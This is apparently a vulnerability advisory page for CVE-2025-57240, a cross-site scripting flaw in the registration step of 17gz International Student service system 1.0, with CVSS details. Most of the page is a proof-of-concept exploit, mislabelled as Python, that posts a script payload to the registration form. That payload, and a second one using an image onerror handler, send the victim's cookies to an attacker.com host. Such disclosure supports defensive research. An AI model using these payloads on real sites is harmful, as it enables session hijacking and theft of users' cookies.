Cross site scripting (XSS) vulnerability in 17gz International Student service system 1.0 allows attackers to execute arbitrary code via the registration step.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
17gz International Student service system 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-57240 PoC - XSS in 17gz International Student Service System -->
<!-- Target: Registration page in 17gz International Student service system 1.0 -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-57240 PoC</title>
</head>
<body>
<h2>CVE-2025-57240 XSS PoC</h2>
<p>Target: 17gz International Student service system 1.0</p>
<form id="exploitForm" action="http://target-site/register" method="POST">
<!-- Malicious payload injected in username field -->
<input type="text" name="username" value='"><script>fetch("https://attacker.com/log?cookie="+document.cookie)</script><x y="'>
<input type="text" name="email" value="[email protected]">
<input type="password" name="password" value="Password123">
<input type="password" name="confirm_password" value="Password123">
<button type="submit">Register</button>
</form>
<script>
// Alternative payload using event handler
const payload = '<img src=x onerror="fetch(\'https://attacker.com/log?cookie=\'+document.cookie)">';
// Auto-submit form for demonstration
// document.getElementById('exploitForm').submit();
console.log('PoC payload:', payload);
console.log('Target URL: http://target-site/register');
</script>
</body>
</html>